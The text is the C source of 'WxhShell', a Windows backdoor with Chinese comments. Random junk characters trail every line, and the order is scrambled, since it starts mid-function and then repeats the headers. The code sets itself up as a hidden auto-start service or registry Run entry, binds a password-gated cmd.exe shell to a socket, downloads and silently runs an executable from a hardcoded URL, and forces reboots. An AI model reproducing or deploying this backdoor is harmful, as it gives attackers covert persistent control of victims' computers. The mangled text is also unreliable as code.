    if(Boot(SHUTDOWN)) QZs!{sZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Ig;3 ^%71  
    else { 7/H)Az@i45  
    closesocket(wsh); uH]OEz\H'  
    ExitThread(0); _w{Qtj~s|  
    } ok[i<zl; '  
    break; ixFi{_  
    } hM{bavd  
  // 获取shell NUZl`fu1Z4  
  case 's': { 6<]lW  
    CmdShell(wsh); b-DvW4B  
    closesocket(wsh); M+>u/fldV  
    ExitThread(0); UZMd~|  
    break; S!UaH>Rh  
  } 3<!7>]A  
  // 退出 n]9$:aLZ  
  case 'x': { ]'}L 1r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )UR7i8]!0  
    CloseIt(wsh); QY/w  
    break; zdYjF|  
    } ,2q-D&)\Z  
  // 离开  &HW9Jn  
  case 'q': { O?2DQY?jT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +R&gqja  
    closesocket(wsh); NJ<F>3  
    WSACleanup(); Q?vlfZR`8  
    exit(1); Tx D#9]Q`  
    break; 2 nCA<&  
        } 6'/ #+,d'  
  } E fDH6  
  } 6 N4~~O  
\85i+q:LuA  
  // 提示信息 gJXaPJA{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }OUtsh]y  
} AKC`TA*E  
  } \~W'v3:W  
8=l%5r^cq  
  return; kj_c%T ]/  
} ,prf;|e?  
XTy x r  
// shell模块句柄 t# i #(H  
int CmdShell(SOCKET sock) b;n[mk  
{ J zl6eo[;  
STARTUPINFO si; ]esC[r]PJ  
ZeroMemory(&si,sizeof(si)); ^sw?gH*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ew N}l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aOp\91  
PROCESS_INFORMATION ProcessInfo; wT@og|M  
char cmdline[]="cmd"; d-qUtgqV86  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K-4PI+qQ\  
  return 0; _b 0& !l<  
} 6Oq 7#3]  
UNYqft4  
// 自身启动模式 +%'(!A?*`  
int StartFromService(void) Da|z"I x  
{ mt .sucT  
typedef struct @]j1:PN-  
{ lN@o2QX  
  DWORD ExitStatus; ^c|/*u  
  DWORD PebBaseAddress; iTwm3V P  
  DWORD AffinityMask; ;pAK_>  
  DWORD BasePriority; GOPfXtkC  
  ULONG UniqueProcessId; ;p//QJB9  
  ULONG InheritedFromUniqueProcessId; LoV<:|GTI  
}   PROCESS_BASIC_INFORMATION; jp,4h4C^)  
K0~rN.C!0  
PROCNTQSIP NtQueryInformationProcess; ?4,T}@P  
1?}T=)3+$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A^g(k5M*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dN q$}  
h{Y",7] !  
  HANDLE             hProcess; D7Z /H'|  
  PROCESS_BASIC_INFORMATION pbi; gdc<ZYcM  
Xvu(vA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tw;}jh  
  if(NULL == hInst ) return 0; 1Mzmg[L8  
'L'R9&o<X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dd;~K&_Q/i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]^E?;1$f?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); la!~\wpa  
dPlV>IM$z  
  if (!NtQueryInformationProcess) return 0; T)/eeZ$  
FPz9N@M%Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o/E >f_k[  
  if(!hProcess) return 0; jcOcWB|  
1}x%%RD_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N8jIMb'<  
<~)P7~$d?p  
  CloseHandle(hProcess); k[xSbs'D  
HPl<%%TI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pBHRa?Y5  
if(hProcess==NULL) return 0; x5Bk/e'  
3og.y+.=U.  
HMODULE hMod; ZK,G v  
char procName[255]; 6P3*Z  
unsigned long cbNeeded; oJ^P(]dw  
X ?O[r3<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @d'j zs  
V[LglPt  
  CloseHandle(hProcess); VA%J\T|G2\  
I7onX,U+  
if(strstr(procName,"services")) return 1; // 以服务启动 ="+#W6bZT  
z/-=%g >HA  
  return 0; // 注册表启动 d]9z@Pd   
} 2/?|&[  
ch]IzdD  
// 主模块 Q &8-\  
int StartWxhshell(LPSTR lpCmdLine) }j Xfb@`K  
{ O- wzz  
  SOCKET wsl; -7ep{p-  
BOOL val=TRUE; sJZ iI}Xc  
  int port=0; G|Ti4_w  
  struct sockaddr_in door; 9up3[F$  
t@(HF-4~=  
  if(wscfg.ws_autoins) Install(); Rcuz(yS8  
1 MFbQs^  
port=atoi(lpCmdLine); x}4q {P5$  
VY-EmbkG-t  
if(port<=0) port=wscfg.ws_port; 6ujW Nf  
m67V_s,7B  
  WSADATA data; 10&8-p1/mc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [^iN}Lz  
2 ?C)&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wYea\^co  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LVy yO3e  
  door.sin_family = AF_INET; :gv"M8AP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F59 TZI  
  door.sin_port = htons(port); $4\j]RE!  
}e1ZbmW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &]Tmxh(  
closesocket(wsl); l1I#QB@5n  
return 1; WJi]t93  
} "+c-pO`Wg  
4g/dP^  
  if(listen(wsl,2) == INVALID_SOCKET) { mpyt5#f  
closesocket(wsl); C!gZN9-  
return 1; Ry&6p>-  
} tbr=aY$jY  
  Wxhshell(wsl); gGYKEq{j(  
  WSACleanup(); +`4A$#$+y  
T{ "(\X$  
return 0; 6]N.%Y[(  
bA 2pbjg=  
} @Qe0! (_=  
btB%[]  
// 以NT服务方式启动 9c],<;{'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 637: oT_`O  
{ ceA9) {  
DWORD   status = 0; }V>T M{  
  DWORD   specificError = 0xfffffff; XW/o<[91  
crCJrN=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \8tsDG(1 '  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #yen8SskB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l;U?Z'n  
  serviceStatus.dwWin32ExitCode     = 0; tPvpJX6kP  
  serviceStatus.dwServiceSpecificExitCode = 0; "@kaHIf[  
  serviceStatus.dwCheckPoint       = 0; f$( e\+ +  
  serviceStatus.dwWaitHint       = 0; 6!o1XQr=Z  
gw(z1L5 n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K3C<{#r  
  if (hServiceStatusHandle==0) return; <@}9Bid!o  
al0L&z\  
status = GetLastError(); WIOV2+  
  if (status!=NO_ERROR) ICCc./l|  
{ M5B# TAybC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MD]>g>  
    serviceStatus.dwCheckPoint       = 0; }]Tx lSp!;  
    serviceStatus.dwWaitHint       = 0; I fir ,8  
    serviceStatus.dwWin32ExitCode     = status; INf&4!&h  
    serviceStatus.dwServiceSpecificExitCode = specificError; CLSK'+l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xj*Wu_  
    return; hZ3bVi)L\  
  } 5;?yCWc  
1M-pr 8:6s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p_ =z#  
  serviceStatus.dwCheckPoint       = 0; G3]4A&h9v~  
  serviceStatus.dwWaitHint       = 0; E7hhew  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rNM;ZPF#  
} ?%86/N>  
w!CNRtM:~  
// 处理NT服务事件,比如:启动、停止 6zkaOA46V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B!yr!DWv  
{ dx]>(e@(t{  
switch(fdwControl) e!`i3KYn"  
{ !k%#R4*>  
case SERVICE_CONTROL_STOP: q4q6c")zp  
  serviceStatus.dwWin32ExitCode = 0; t) +310w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @x1-! ~z#  
  serviceStatus.dwCheckPoint   = 0; PH"%kCI:  
  serviceStatus.dwWaitHint     = 0; $( )>g>%  
  { ?"FbsMk.d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V :eD]zq5  
  } =43auFY-P  
  return; @o^Ww  
case SERVICE_CONTROL_PAUSE: ;jPXs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <VcQ{F  
  break; VpUAeWb  
case SERVICE_CONTROL_CONTINUE: A >$I -T+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'S~5"6r  
  break; \9d$@V  
case SERVICE_CONTROL_INTERROGATE: x"(KBEK~  
  break; %SI'BJ  
}; bcR_E5x$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {$r[5%L\H  
} ckn~#UE=  
'|4!5)/K  
// 标准应用程序主函数 2tLJU  Z1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y]im Z4{/  
{ } %z   
Wm|lSisY  
// 获取操作系统版本 eFAnFJ][L  
OsIsNt=GetOsVer(); "j-CZ\]U|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r/sNrB1U"y  
HThcn1u~^b  
  // 从命令行安装 J;%Xfx]  
  if(strpbrk(lpCmdLine,"iI")) Install(); q=G+Tocv  
G`zm@QL  
  // 下载执行文件 .2pK.$.  
if(wscfg.ws_downexe) { 2%> FR4a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j9,P/K$:w  
  WinExec(wscfg.ws_filenam,SW_HIDE); {)"vN(mX  
} xpI wrJO  
P$sxr  
if(!OsIsNt) { AEuG v}#  
// 如果时win9x,隐藏进程并且设置为注册表启动 m68*y;#  
HideProc(); zVD:#d% b  
StartWxhshell(lpCmdLine); S$k&vc(0  
} [2koe.?(  
else b2]Kx&!  
  if(StartFromService()) jIF |P-  
  // 以服务方式启动 qNr} \J|  
  StartServiceCtrlDispatcher(DispatchTable); {U1m.30n  
else XM}hUJJW  
  // 普通方式启动 Q^I\cAIB  
  StartWxhshell(lpCmdLine); a6H%5N  
,P Z ge  
return 0;  9a kH  
} x:7IIvP  
{|\.i  
bi:8(Q$w:`  
iOdpM{~*  
=========================================== fQ98(+6  
+O5hH8<&b  
V+~Nalm O  
�{x7,  
L]Mo;kT<Q  
*qMY22X  
" 3~ \[7I/  
b[7 ]F  
#include <stdio.h> `-&K~^-cH  
#include <string.h> Df#l8YK#  
#include <windows.h> };g"GNy  
#include <winsock2.h> iI>A *,{,`  
#include <winsvc.h> Jo}eeJ;k  
#include <urlmon.h> vFsLY  
o14cwb  
#pragma comment (lib, "Ws2_32.lib") ETLD$=iS  
#pragma comment (lib, "urlmon.lib") o Rzi>rr  
c|1&lYal;  
#define MAX_USER   100 // 最大客户端连接数 |)81Lz  
#define BUF_SOCK   200 // sock buffer i?~3*#IpD  
#define KEY_BUFF   255 // 输入 buffer !Uc T RI  
d7i]FV  
#define REBOOT     0   // 重启 X7 w Ky(g  
#define SHUTDOWN   1   // 关机 qFNes)_r  
2 FFD%O05  
#define DEF_PORT   5000 // 监听端口 05k0n E  
|CzSU1ma  
#define REG_LEN     16   // 注册表键长度 ]_f<kW\1*  
#define SVC_LEN     80   // NT服务名长度 2m[<]$  
KdlQ!5(?X  
// 从dll定义API LDD|(KLR*.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UDni]P!E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l+R+&b^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -(#iIgmP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q&V;(L62!  
E!#WnSpnK  
// wxhshell配置信息 -gWZwW/lD  
struct WSCFG { PT9*)9<L  
  int ws_port;         // 监听端口 Faf&U%]*`  
  char ws_passstr[REG_LEN]; // 口令 rbCAnwA2  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7yba04D)  
  char ws_regname[REG_LEN]; // 注册表键名 Lxk[;j+  
  char ws_svcname[REG_LEN]; // 服务名 {_Gs*<.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZW}_Q s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mQ=#nk$~g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L:8q8i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `g})|Gx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )Z VD+X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N36_C;K-z  
x=jK:3BF  
}; ;'Nd~:-]  
QwJyY{O`  
// default Wxhshell configuration d M-%{  
struct WSCFG wscfg={DEF_PORT, z~Q>V]a>;  
    "xuhuanlingzhe", 4{l,  
    1, 3t6 LT  
    "Wxhshell", T5:G$-qL(  
    "Wxhshell", l\?c}7k  
            "WxhShell Service", B+0hzkPY  
    "Wrsky Windows CmdShell Service", hG:|9Sol,  
    "Please Input Your Password: ", lA-h`rl /  
  1, : \}(& >  
  "http://www.wrsky.com/wxhshell.exe", 2[;_d;oB@  
  "Wxhshell.exe" +H2-ZXr  
    }; 3Le{\}-$.  
w'3iY,_ufC  
// 消息定义模块 -S+zmo8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {u9}bx'<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D1mfm.9_r^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2T TdH)  
char *msg_ws_ext="\n\rExit."; BRYHX.}h\A  
char *msg_ws_end="\n\rQuit."; ^ K E%C;u  
char *msg_ws_boot="\n\rReboot..."; +t:0SRSt  
char *msg_ws_poff="\n\rShutdown..."; (@}!0[[^  
char *msg_ws_down="\n\rSave to "; V#}kwON  
kE(mVyLQ  
char *msg_ws_err="\n\rErr!"; 0<B$#8  
char *msg_ws_ok="\n\rOK!"; tdaL/rRe  
v]c6R-U  
char ExeFile[MAX_PATH]; /^|Dbx!u  
int nUser = 0; R^e.s -  
HANDLE handles[MAX_USER]; s|B3~Q]  
int OsIsNt; &l[$*<P5V  
w8D"CwS1Rx  
SERVICE_STATUS       serviceStatus; A_#DJJMm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !&Pui{F  
/[>sf[X\I9  
// 函数声明 T${Q.zHY[!  
int Install(void); N{~Y J$!8  
int Uninstall(void); - FlzEZ  
int DownloadFile(char *sURL, SOCKET wsh); "2T#MO/  
int Boot(int flag);  bnLPlf  
void HideProc(void); 7( 2{'r  
int GetOsVer(void); bD8Gwi=iiu  
int Wxhshell(SOCKET wsl); P_#bow  
void TalkWithClient(void *cs); l?^4!&Nm  
int CmdShell(SOCKET sock); t>B;w14  
int StartFromService(void); <kd1Nrr!p  
int StartWxhshell(LPSTR lpCmdLine); SG4%}wn%  
BIWWMg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P_p<`sC9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )D82N`c2\i  
M+9gL3W  
// 数据结构和表定义 #`X?=/q  
SERVICE_TABLE_ENTRY DispatchTable[] = ApXy=?fc  
{ f8.gT49I  
{wscfg.ws_svcname, NTServiceMain}, G<^{&E+=  
{NULL, NULL} 78%~N`x7  
}; <nK?LcP  
mcX/GO}  
// 自我安装 9lDhIqx0~  
int Install(void) J{&H+rd  
{ r_;N t  
  char svExeFile[MAX_PATH]; =6|&Jt  
  HKEY key; A7hVHxNJ-  
  strcpy(svExeFile,ExeFile); g!z&~Z:  
1q1jZqno  
// 如果是win9x系统,修改注册表设为自启动 klR|6u]%  
if(!OsIsNt) { fLm*1S|%\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |WdPE@P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3J438M.ka  
  RegCloseKey(key); yD6[\'%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gy9U2Wgf|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _1L![-ac  
  RegCloseKey(key); v+=BCyT  
  return 0; 3nnJ8zQ  
    } #3 pb(fbw  
  } }sO&. ME  
} \K]0JH  
else { FzXJ]H  
)sp4Ie  
// 如果是NT以上系统,安装为系统服务 h_IDO%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ""Q P%  
if (schSCManager!=0) n`&U~s8w  
{ WPG(@zD  
  SC_HANDLE schService = CreateService M*H nM(  
  ( f\>M'{cV  
  schSCManager, "E?2xf|.  
  wscfg.ws_svcname, Hi`//y*92H  
  wscfg.ws_svcdisp, <)-Sj,  
  SERVICE_ALL_ACCESS, ,47Y9Kz9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PJrtM AcKq  
  SERVICE_AUTO_START, xDoC(  
  SERVICE_ERROR_NORMAL, U,-39mr  
  svExeFile, h"lv7;B$  
  NULL, Ev(>z-{F  
  NULL, 'B0{_RaTb  
  NULL, \3aoM{ztD  
  NULL, #!KE\OI;@5  
  NULL YgV817OV  
  ); 1.9}_4!  
  if (schService!=0) 4l45N6"  
  { 6Yxh9*N~]  
  CloseServiceHandle(schService); z}ddqZ27G$  
  CloseServiceHandle(schSCManager); qF-@V25P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W= qVc  
  strcat(svExeFile,wscfg.ws_svcname); 7 uKY24  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `o8/(`a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '>ssqBnI  
  RegCloseKey(key); M |`U"vO  
  return 0; `LE6jp3,  
    } P8)=Kbd  
  } j*jo@N |  
  CloseServiceHandle(schSCManager); }\:Nu Tf  
} &_|#.  
} )vb*Ef  
zZ323pq  
return 1; YCM]VDx4u1  
} #c?j\Y9nz  
f-n1I^|  
// 自我卸载 * 8_wYYH  
int Uninstall(void) bNNr]h8y-  
{ 4'A!; ]:  
  HKEY key; 2=`o_<P'"  
\(Y\|zC'0$  
if(!OsIsNt) { {|:;]T"y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jesGV<`?l  
  RegDeleteValue(key,wscfg.ws_regname); Rt!FPoN,y  
  RegCloseKey(key); nd1+"-,q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cH?B[S;]  
  RegDeleteValue(key,wscfg.ws_regname); Ix=}+K/  
  RegCloseKey(key); Vq?p|wy  
  return 0; K[r^'P5m  
  } >X4u]>X  
} F!Q@ u  
} '*w00  
else { CtAwBQO  
u5 : q$P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r^paD2&}  
if (schSCManager!=0) ~%=MpQ3  
{ 5r8< 7g:>C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q~ZNd3O  
  if (schService!=0) 78# v  
  { i?g5_HI  
  if(DeleteService(schService)!=0) { K&70{r  
  CloseServiceHandle(schService); LNpup`>`  
  CloseServiceHandle(schSCManager); #32"=MfQn  
  return 0; -pGE]nwDL  
  } Y>G@0r BG  
  CloseServiceHandle(schService); 0ANZAX5  
  } kZZh"#W: L  
  CloseServiceHandle(schSCManager); cm[&?  
} z>Hgkp8D"  
} $gy*D7  
X4E%2-m@'  
return 1; W!&'pg  
} f@DYN!Z_m  
48qV >Gwf  
// 从指定url下载文件 &c:Ad% z  
int DownloadFile(char *sURL, SOCKET wsh) #( jw!d&  
{ sy"^?th}b  
  HRESULT hr; u\{ g(li-I  
char seps[]= "/"; =L:4i\4  
char *token; 2h1C9n%j9  
char *file; aV?@s4  
char myURL[MAX_PATH]; +hT:2TXn  
char myFILE[MAX_PATH]; )oPLl|=h  
/bi[ e9R  
strcpy(myURL,sURL); \LppYXz  
  token=strtok(myURL,seps); M)N?qRD  
  while(token!=NULL) `-l6S  
  { x+x40!+\  
    file=token; HO%wHiv1X  
  token=strtok(NULL,seps); ie\"$i.98H  
  } PCM-i{6/  
RyK\uv  
GetCurrentDirectory(MAX_PATH,myFILE); -~ Mb  
strcat(myFILE, "\\"); 5Z\#0":e  
strcat(myFILE, file); ws|;  `  
  send(wsh,myFILE,strlen(myFILE),0); L>%o[tS  
send(wsh,"...",3,0); #9xd[A : N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m{uxI za  
  if(hr==S_OK) )3w@]5j  
return 0; A1#%`^W9  
else #+5pgD2C  
return 1; aL%AQB,  
{{MRELipW  
} DRgTe&+  
ul2")HL];  
// 系统电源模块 CS-uNG6  
int Boot(int flag) ayD}r#7  
{ pxf$ 1  
  HANDLE hToken; k |%B?\m  
  TOKEN_PRIVILEGES tkp; }J1tdko#  
.CU5}Tv-  
  if(OsIsNt) { hn=[1<#^(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5v}8org  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Vq;A>  
    tkp.PrivilegeCount = 1; mvZw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,7NZu0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .0rh y2  
if(flag==REBOOT) { ?1$fJ3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $UCAhG$  
  return 0;  !@'6)/  
} oMTf"0EIW  
else { JJ'.((  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `~;rblo;  
  return 0; @reeO=  
} C@W"yYt  
  } ,o,I5>`  
  else { ICkp$u^  
if(flag==REBOOT) { >ByXB!Wi+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aZ'Lx:)R  
  return 0; p2udm!)J  
} oDYRQozo>  
else { <5jzl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y2vUthRwo  
  return 0; j;3[KLmuK%  
} o1Q7Th  
} ),!;| bh  
?Poq2  
return 1; ehG/zVgn  
} Ve!fU  
!M]\I&  
// win9x进程隐藏模块 sZm$|T0  
void HideProc(void) i21Gw41p:  
{ e `,ds~  
F^LZeF[#t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FMkzrs  
  if ( hKernel != NULL ) c#]q^L\x  
  { 09kt[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HcV"X,7S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); snnbb0J  
    FreeLibrary(hKernel); q)vplV1A  
  } wqW 0v\  
qt^T6+faaQ  
return; ZRVT2VfN  
} jSuL5|Gui  
70mpSD3  
// 获取操作系统版本 nn9wdt@.]  
int GetOsVer(void) O Wj@< N  
{ k{$ ao  
  OSVERSIONINFO winfo; (%o2jroQ#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0`A~HH}  
  GetVersionEx(&winfo); X2i}vjkY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ${nX:!)  
  return 1; 3LTcEd  
  else $aPfGZ<i  
  return 0; -x4X O`b  
} 0,Y5KE{  
AT)a :i  
// 客户端句柄模块 {$^DMANDx  
int Wxhshell(SOCKET wsl) -yg?V2  
{ VA%Un,5h  
  SOCKET wsh; CZt \JW+"  
  struct sockaddr_in client; 2'<[7!  
  DWORD myID; dVo.Czyd  
[ $T(WGF  
  while(nUser<MAX_USER) +@K09ge  
{ ]a3iEA2 (  
  int nSize=sizeof(client); 3y~r72J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t 6^l`6:p  
  if(wsh==INVALID_SOCKET) return 1; [j:[  
-TOIc%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [kgdv6E  
if(handles[nUser]==0) FSb Hn{@  
  closesocket(wsh); %-AE]-/HI  
else t"YNgC ^  
  nUser++; :4T("a5aM  
  } gOK\%&S]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [e4]"v`N  
? j 9|5*  
  return 0; rJInj>|{=  
} eBO@7F$  
z>06hBv(?Y  
// 关闭 socket "AhTH.ZP  
void CloseIt(SOCKET wsh) G>+1*\c  
{ >xn}N6Rj2~  
closesocket(wsh); ulJX1I=|p  
nUser--; n%\ /J  
ExitThread(0); AVU>+[.=%c  
} hw~a:kD  
yj(vkifEB  
// 客户端请求句柄 ^@_m "^C  
void TalkWithClient(void *cs) [ dE.[  
{ @Ehn(}  
a`u S[r>  
  SOCKET wsh=(SOCKET)cs; S$^ RbI  
  char pwd[SVC_LEN]; GzTq5uU&  
  char cmd[KEY_BUFF]; X*7\lf2  
char chr[1]; @AYo-gf  
int i,j; =?(~aV  
Mf#83 <&K  
  while (nUser < MAX_USER) { oo$MWN8a>r  
o(Cey7  
if(wscfg.ws_passstr) { 02k4 N%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xlR2|4|8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &X]\)`j0  
  //ZeroMemory(pwd,KEY_BUFF); 2.X"f  
      i=0; UP{j5gR:_  
  while(i<SVC_LEN) { Y}DonF  
a3 >zoN  
  // 设置超时 GBC*>Y  
  fd_set FdRead; `ZaT}# Y  
  struct timeval TimeOut; M#@aB"@J>  
  FD_ZERO(&FdRead); 35*\_9/#  
  FD_SET(wsh,&FdRead); LN_OD5gZ  
  TimeOut.tv_sec=8; WWZ9._  
  TimeOut.tv_usec=0; VNtPKtx\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,[nm_^R*\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S-nlr@w8  
U\?g*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g3%t8O/M  
  pwd=chr[0]; ro[Y-o5Q0  
  if(chr[0]==0xd || chr[0]==0xa) { Fequm+  
  pwd=0; -n? g~(/P  
  break; .M4IGOvOS  
  } 5b6s4ZyV  
  i++; Ih[+K#t+E  
    } Zzl,gy70  
-)y%~Zn  
  // 如果是非法用户,关闭 socket ib0g3p-Lc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #9LzY  
} {hO`6mr&t  
t=#Pya  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \ U-vI:J_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3v!~cC~cI  
(,xZGa  
while(1) { mty1p'^KQ  
v1.q$ f^(  
  ZeroMemory(cmd,KEY_BUFF); Us~ X9n_F  
!z zW2>  
      // 自动支持客户端 telnet标准   lKEa)KF[  
  j=0; Y#01o&f0n  
  while(j<KEY_BUFF) { 8)\M:s~7&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bO/*2oau  
  cmd[j]=chr[0]; ,goBq3[%?  
  if(chr[0]==0xa || chr[0]==0xd) { W:QwHZ2O  
  cmd[j]=0; C+MSVc  
  break; XDD<oo  
  } wp.TfKxw  
  j++; !1uzX Kb  
    } [[)_BmS5r  
<Jp1A# %p  
  // 下载文件 fj'j NE  
  if(strstr(cmd,"http://")) { C6& ( c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YTU.$t;Ez  
  if(DownloadFile(cmd,wsh)) ;S/7 h6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}`K^5K|O:  
  else O hR1Jaed  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G(1 K9{i$  
  } wX'}4Z=C~  
  else { <V_7|)'/A  
B">yKB:D}t  
